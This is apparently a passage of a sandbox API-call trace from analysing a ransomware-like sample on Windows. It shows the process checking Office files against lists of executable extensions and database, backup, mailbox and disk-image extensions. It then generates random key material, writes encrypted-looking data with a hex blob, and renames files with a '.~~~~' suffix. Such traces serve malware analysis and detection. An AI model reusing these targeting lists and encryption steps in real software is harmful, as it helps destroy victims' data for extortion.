	[0136.375] lstrlenW (lpString=".dbv") returned 4
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".dbv") returned 0x0
	[0136.375] lstrlenW (lpString=".SDF") returned 4
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".SDF") returned 0x0
	[0136.375] lstrlenW (lpString=".dtxs") returned 5
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0136.375] lstrlenW (lpString=".db3") returned 4
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".db3") returned 0x0
	[0136.375] lstrlenW (lpString=".OST") returned 4
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".OST") returned 0x0
	[0136.376] lstrlenW (lpString=".dbx") returned 4
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".dbx") returned 0x0
	[0136.376] lstrlenW (lpString=".DB3") returned 4
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DB3") returned 0x0
	[0136.376] lstrlenW (lpString=".DAT") returned 4
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DAT") returned 0x0
	[0136.376] lstrlenW (lpString=".VHDX") returned 5
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0136.376] lstrlenW (lpString=".ndf") returned 4
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".ndf") returned 0x0
	[0136.376] lstrlenW (lpString=".DB") returned 3
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DB") returned 0x0
	[0136.376] lstrlenW (lpString=".sql") returned 4
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".sql") returned 0x0
	[0136.376] lstrlenW (lpString=".MYD") returned 4
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".MYD") returned 0x0
	[0136.376] lstrlenW (lpString=".DBT") returned 4
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DBT") returned 0x0
	[0136.376] lstrlenW (lpString=".ACCDB") returned 6
	[0136.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0136.376] lstrlenW (lpString=".fdb") returned 4
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".fdb") returned 0x0
	[0136.377] lstrlenW (lpString=".bak") returned 4
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".bak") returned 0x0
	[0136.377] lstrlenW (lpString=".myd") returned 4
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".myd") returned 0x0
	[0136.377] lstrlenW (lpString=".DTXS") returned 5
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0136.377] lstrlenW (lpString=".ckp") returned 4
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".ckp") returned 0x0
	[0136.377] lstrlenW (lpString=".dbt") returned 4
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".dbt") returned 0x0
	[0136.377] lstrlenW (lpString=".db") returned 3
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".db") returned 0x0
	[0136.377] lstrlenW (lpString=".TXT") returned 4
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".TXT") returned 0x0
	[0136.377] lstrlenW (lpString=".MDF") returned 4
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".MDF") returned 0x0
	[0136.377] lstrlenW (lpString=".bdb") returned 4
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".bdb") returned 0x0
	[0136.377] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.378] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3949f8) returned 1
	[0136.379] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.379] CryptReleaseContext (hProv=0x3949f8, dwFlags=0x0) returned 1
	[0136.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0136.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0136.380] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25636966253) returned 1
	[0136.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbaba94b0, dwHighDateTime=0x1d60e1e)) 
	[0136.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0136.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0136.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0136.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825438
	[0136.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825438 | out: hHeap=0x300000) returned 1
	[0136.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5a98
	[0136.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.380] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.381] GetLastError () returned 0x0
	[0136.381] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.381] GetLastError () returned 0x0
	[0136.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.383] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xcf, lpOverlapped=0x0) returned 1
	[0136.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.383] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.383] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.383] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.383] CloseHandle (hObject=0x114) returned 1
	[0136.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce188
	[0136.384] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.~~~~")) returned 1
	[0136.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.386] GetLastError () returned 0x0
	[0136.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0136.387] lstrlenW (lpString=".cmd") returned 4
	[0136.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0136.387] lstrlenW (lpString=".dll") returned 4
	[0136.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0136.387] lstrlenW (lpString=".bat") returned 4
	[0136.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0136.387] lstrlenW (lpString=".cpl") returned 4
	[0136.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0136.387] lstrlenW (lpString=".sys") returned 4
	[0136.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0136.387] lstrlenW (lpString=".msc") returned 4
	[0136.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0136.387] lstrlenW (lpString=".com") returned 4
	[0136.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".com") returned 0x0
	[0136.388] lstrlenW (lpString=".lnk") returned 4
	[0136.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0136.388] lstrlenW (lpString=".msp") returned 4
	[0136.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0136.388] lstrlenW (lpString=".pif") returned 4
	[0136.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0136.388] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0136.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.390] lstrlenW (lpString=".sqb") returned 4
	[0136.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0136.390] lstrlenW (lpString=".ost") returned 4
	[0136.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0136.390] lstrlenW (lpString=".txt") returned 4
	[0136.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0136.391] lstrlenW (lpString=".mdt") returned 4
	[0136.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0136.391] lstrlenW (lpString=".BDB") returned 4
	[0136.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0136.391] lstrlenW (lpString=".eql") returned 4
	[0136.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0136.391] lstrlenW (lpString=".DBF") returned 4
	[0136.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0136.391] lstrlenW (lpString=".EQL") returned 4
	[0136.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0136.391] lstrlenW (lpString=".FDB") returned 4
	[0136.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0136.391] lstrlenW (lpString=".EDB") returned 4
	[0136.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0136.391] lstrlenW (lpString=".DACPAC") returned 7
	[0136.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0136.391] lstrlenW (lpString=".VHD") returned 4
	[0136.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0136.392] lstrlenW (lpString=".DBV") returned 4
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0136.392] lstrlenW (lpString=".dacpac") returned 7
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0136.392] lstrlenW (lpString=".sdf") returned 4
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0136.392] lstrlenW (lpString=".accdb") returned 6
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0136.392] lstrlenW (lpString=".DBX") returned 4
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0136.392] lstrlenW (lpString=".MDT") returned 4
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0136.392] lstrlenW (lpString=".SQB") returned 4
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0136.392] lstrlenW (lpString=".vhd") returned 4
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0136.392] lstrlenW (lpString=".bac") returned 4
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0136.392] lstrlenW (lpString=".mdf") returned 4
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0136.392] lstrlenW (lpString=".BAK") returned 4
	[0136.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0136.392] lstrlenW (lpString=".BAC") returned 4
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0136.393] lstrlenW (lpString=".dbs") returned 4
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0136.393] lstrlenW (lpString=".vhdx") returned 5
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0136.393] lstrlenW (lpString=".NDF") returned 4
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0136.393] lstrlenW (lpString=".dat") returned 4
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0136.393] lstrlenW (lpString=".DBS") returned 4
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0136.393] lstrlenW (lpString=".CKP") returned 4
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0136.393] lstrlenW (lpString=".edb") returned 4
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0136.393] lstrlenW (lpString=".PST") returned 4
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0136.393] lstrlenW (lpString=".dbf") returned 4
	[0136.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0136.393] lstrlenW (lpString=".SQL") returned 4
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0136.394] lstrlenW (lpString=".pst") returned 4
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0136.394] lstrlenW (lpString=".dbv") returned 4
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0136.394] lstrlenW (lpString=".SDF") returned 4
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0136.394] lstrlenW (lpString=".dtxs") returned 5
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0136.394] lstrlenW (lpString=".db3") returned 4
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0136.394] lstrlenW (lpString=".OST") returned 4
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0136.394] lstrlenW (lpString=".dbx") returned 4
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0136.394] lstrlenW (lpString=".DB3") returned 4
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0136.394] lstrlenW (lpString=".DAT") returned 4
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0136.394] lstrlenW (lpString=".VHDX") returned 5
	[0136.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0136.394] lstrlenW (lpString=".ndf") returned 4
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0136.395] lstrlenW (lpString=".DB") returned 3
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0136.395] lstrlenW (lpString=".sql") returned 4
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0136.395] lstrlenW (lpString=".MYD") returned 4
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0136.395] lstrlenW (lpString=".DBT") returned 4
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0136.395] lstrlenW (lpString=".ACCDB") returned 6
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0136.395] lstrlenW (lpString=".fdb") returned 4
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0136.395] lstrlenW (lpString=".bak") returned 4
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0136.395] lstrlenW (lpString=".myd") returned 4
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0136.395] lstrlenW (lpString=".DTXS") returned 5
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0136.395] lstrlenW (lpString=".ckp") returned 4
	[0136.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0136.395] lstrlenW (lpString=".dbt") returned 4
	[0136.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0136.396] lstrlenW (lpString=".db") returned 3
	[0136.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".db") returned 0x0
	[0136.396] lstrlenW (lpString=".TXT") returned 4
	[0136.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0136.396] lstrlenW (lpString=".MDF") returned 4
	[0136.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0136.396] lstrlenW (lpString=".bdb") returned 4
	[0136.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0136.396] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
